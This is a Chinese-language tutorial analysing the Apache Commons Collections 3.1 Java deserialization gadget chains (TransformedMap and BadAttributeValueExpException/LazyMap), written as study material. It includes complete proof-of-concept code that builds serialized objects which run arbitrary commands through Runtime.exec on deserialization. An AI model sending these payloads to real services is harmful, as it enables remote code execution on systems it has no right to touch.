java安全学习的第一篇文章,apache commons collections3.1的反序列化漏洞是java历史上最出名同时也是最具有代表性的反序列化漏洞,废话不多说,我们直接上手分析。希望能帮助到和我一样的初学者。
反射就是在运行时才知道要操作的类是什么,并且可以在运行时获取类的完整构造,并调用对应的方法。
Java反射在编写漏洞利用代码、代码审计、绕过RASP方法限制等中起到了至关重要的作用。
Java.lang.Class;
Java.lang.reflect.Constructor;
Java.lang.reflect.Field;
Java.lang.reflect.Method;
Java.lang.reflect.Modifier;
#Class.forName 静态方法
Class clz = Class.forName("java.lang.String");
#使用 .class 方法。
Class clz = String.class;
#使用类对象的 getClass() 方法
String str = new String("Hello");
Class clz = str.getClass();
getMethod方法返回一个特定的方法,其中第一个参数为方法名称,后面的参数为方法的参数对应Class的对象
public Method getMethod(String name, Class<?>... parameterTypes)
// 获取Runtime类对象
Class runtimeClass1 = Class.forName("java.lang.Runtime");
// 获取构造方法
Constructor constructor = runtimeClass1.getDeclaredConstructor();
constructor.setAccessible(true);
// 创建Runtime类示例,等价于 Runtime rt = new Runtime();
Object runtimeInstance = constructor.newInstance();
// 获取Runtime的exec(String cmd)方法
Method runtimeMethod = runtimeClass1.getMethod("exec", String.class);
// 调用exec方法,等价于 rt.exec(cmd);
Process process = (Process) runtimeMethod.invoke(runtimeInstance, cmd);
// 获取命令执行结果
InputStream in = process.getInputStream();
// 输出命令执行结果
System.out.println(IOUtils.toString(in, "UTF-8"));
类似php中反序列化使用的魔术方法,比如__destruct函数。在java中,readObject方法在反序列化漏洞时起到了至关重要的作用,利用ObjectInputStream的readObject方法进行对象读取的时候,当readObject()方法被重写的时候,反序列化该类时调用的就是重写的方法。
private void writeObject(ObjectOutputStream oos) //自定义序列化
private void readObject(ObjectInputStream ois) //自定义反序列化
private void readObjectNoData()
protected Object writeReplace() //写入时替换对象。
protected Object readResolve()
反序列化时会自动调用readObject(ObjectInputStream)方法。我们通过在需要序列化/反序列化的类中定义readObject
和writeObject
方法从而实现自定义的序列化和反序列化操作。
我们在分析cc链反序列化化漏洞的主要思路其实就是两条:
InvokerTransformer
、 ConstantTransformer
、 ChainedTransformer
等类构建反射链,利用java的反射机制,然后通过类中的transformer类来调用。transform
方法的情况,并以此来构建反序列化漏洞的攻击链。接下来我们使用IDEA跟进代码进行审计
IDEA跟进类中(48~61行):
可以看到此处的transform方法调用了java的反射机制,并且发现this.iMethodName
, this.iParamTypes
, this.iArgs
我们都是可以直接输入的。而input
是在函数调用的时候传入的,我们同样是可控的。
当我们向对应参数传入以下值,即可以调用代码执行:
存在一组可控的反射调用是cc链存在反序列化漏洞的根本原因,但是这里我们只能只能在本地服务器上执行。是无法达成我们想要远程执行命令的效果,这里主要的限制是我们没有没有办法直接传入Runtime类的实例对象。
要想真正的形成调用链,我们仍然需要利用java的反射机制来调用函数,并且至少要调用四个方法:
getMethod(), getRuntime(), exec() ,invoke()
所以我们之后找到了ChainedTransformer
类。
IDEA跟进53~63行
简单的分析代码逻辑,该类的构造函数接受一个数组,我们只需要传入一个数组chainedTransformer
就可以依次去调用每一个类的transform方法。
接口函数,在上面的循环中进入了不同的函数。给一个初始的object,然后输出作为下一个输入,从而实现链式调用。
最后的反射poc如下:
Transformer[] transformers = new Transformer[] {
//传入Runtime类
new ConstantTransformer(Runtime.class),
//反射调用getMethod方法,然后getMethod方法再反射调用getRuntime方法,返回Runtime.getRuntime()方法
new InvokerTransformer("getMethod",
new Class[] {String.class, Class[].class },
new Object[] {"getRuntime", new Class[0] }),
//反射调用invoke方法,然后反射执行Runtime.getRuntime()方法,返回Runtime实例化对象
new InvokerTransformer("invoke",
new Class[] {Object.class, Object[].class },
new Object[] {null, new Object[0] }),
//反射调用exec方法
new InvokerTransformer("exec",
new Class[] {String.class },
new Object[] {"open -a Calculator"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
我们已经构造好了恶意的反射链条,现在我们的目标是触发该类的transform方法。
某个类的readObject方法
->一系列调用
->Transformerchain的transformer方法
->执行反射链
->执行Runtime.getRuntime().exec(new String[]{"calc"})
tansform()
方法 , 该方法所属的实例对象是可控的readObject()
方法 , 该方法会自动调用 transform()
方法. Transmap类在一个元素被添加/删除/或是被修改时,会调用transform方法。我们可以通过TransformedMap.decorate()方法获得一个TransformedMap的实例。
因此,我们可以先构造一个TransformeMap实例,然后修改其中的数据,然后使其自动调用我们之前设定好的transform()方法。
->ObjectInputStream.readObject()
->AnnotationInvocationHandler.readObject()
->TransformedMap.entrySet().iterator().next().setValue()
->TransformedMap.checkSetValue()
->TransformedMap.transform()
->ChainedTransformer.transform()
首先看/org/apache/commons/collections/map/TransformedMap
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
TransformedMap
中的valueTransformer
在初始化时我们是可控的.
public Object put(Object key, Object value) {
key = this.transformKey(key);
value = this.transformValue(value);
return this.getMap().put(key, value);
}
当执行put方法时会进入transformValue
方法:
protected Object transformValue(Object object) {
return this.valueTransformer == null ? object : this.valueTransformer.transform(object);
}
我们可以控制这里的valueTransformer
值为ChianedTransformer即可触发利用链。
但是目前的构造仍然需要Map中的某一项去调用setValue(),我们如果想要在反序列化调用readObject()时直接触发呢?
调用java自带类AnnotationInvocationHandler
中重写的readObject方法,该方法调用时会先将map转为Map.entry,然后执行setvalue操作。
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
TransformedMap利用Map.Entry取得第一个值,调用修改值的函数,会触发的setValue()代码
public Object setValue(Object value) {
value = this.parent.checkSetValue(value);
return this.entry.setValue(value);
}
接着到了TransoformedMap的checkSetValue()方法。
protected Object checkSetValue(Object value) {
return this.valueTransformer.transform(value);
}
这里的valueTransformer.transform实际上就是ChianedTransformer类的transform方法。就会触发刚刚我们构造的反射链。
这里直接上其他大师傅们的poc:
package Serialize2;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class Exec implements Serializable {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map map = new HashMap();
map.put("value", "sijidou");
Map transformedMap = TransformedMap.decorate(map, null, transformerChain);
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, transformedMap);
//序列化
FileOutputStream fileOutputStream = new FileOutputStream("serialize3.txt");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(instance);
objectOutputStream.close();
//反序列化
FileInputStream fileInputStream = new FileInputStream("serialize3.txt");
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
Object result = objectInputStream.readObject();
objectInputStream.close();
System.out.println(result);
}
}
对于JDK 1.8来说,AnnotationInvocationHandler
类中关键的触发点,setvalue发生了改变。所以我们需要寻找新的类重写readObject来实现调用,
反序列化BadAttributeValueExpException
->BadAttributeValueExpException.readObject()
->TideMapEntry.toString()
->TideMapEntry.getValue()
->LazyMap.get()
->ChainedTransformer.transform()
我们首先看一下LazyMap这个类,这个类也实现了一个map接口:
protected LazyMap(Map map, Transformer factory)
{
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}
//get方法
public Object get(Object key)
{
if (!this.map.containsKey(key))
{
Object value = this.factory.transform(key);
this.map.put(key, value);
return value;
}
return this.map.get(key);
}
我们可以看到get方法中如果没有找到key的键值,就会调用factory.transform(key);
,这里的factory变量属于Transformer接口类并且具体使用哪一个类来实例化对象是我们可控的。也就可以形成调用链。
那么如何去自动调用get()方法,跟进TiedMapEntry
类
public TiedMapEntry(Map map, Object key)
{
this.map = map;
this.key = key;
}
//toString方法
public String toString()
{
return getKey() + "=" + getValue();
}
//getKey方法
public Object getValue()
{
return this.map.get(this.key);
}
在TiedMapEntry
中,构造时传入使用LazyMap
,调用tostring()
方法,然后紧接着就会调用LazyMap类对象的get方法。
那么到目前为止,我们仍然需要一个类可以在反序列化重写readObject()时可以自动调用toString方法。完整的利用链就可以形成。
看到BadAttributeValueExpException
的readObject
反序列化方法,调用了toString
方法。
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);
if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}
其中 valObj
为构造的 TiedMapEntry
类的对象,可以看到其中调用了该类的 toString
函数。
所以,我们只要构造一个BadAttributeValueExpException
对象,并注入我们精心制造的TiedMapEntry
对象。就可在以在反序列时,执行任意命令。
public class Exec {
public static BadAttributeValueExpException getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command };
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, entry);
Class<? extends Transformer> aClass = transformerChain.getClass();
Field iTransformers = aClass.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(transformerChain,transformers);
return val;
}
public static void main(String[] args) throws Exception {
BadAttributeValueExpException calc = getObject("calc");
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();//用于存放person对象序列化byte数组的输出流
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(calc);//序列化对象
objectOutputStream.flush();
objectOutputStream.close();
byte[] bytes = byteArrayOutputStream.toByteArray(); //读取序列化后的对象byte数组
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);//存放byte数组的输入流
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
Object o = objectInputStream.readObject(); //将byte数组输入流反序列化
}
}
https://b1ue.cn/archives/166.html
https://www.mi1k7ea.com/2019/02/06/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/
https://www.secpulse.com/archives/137940.html
https://security.tencent.com/index.php/blog/msg/97
https://www.xmanblog.net/java-deserialize-apache-commons-collections/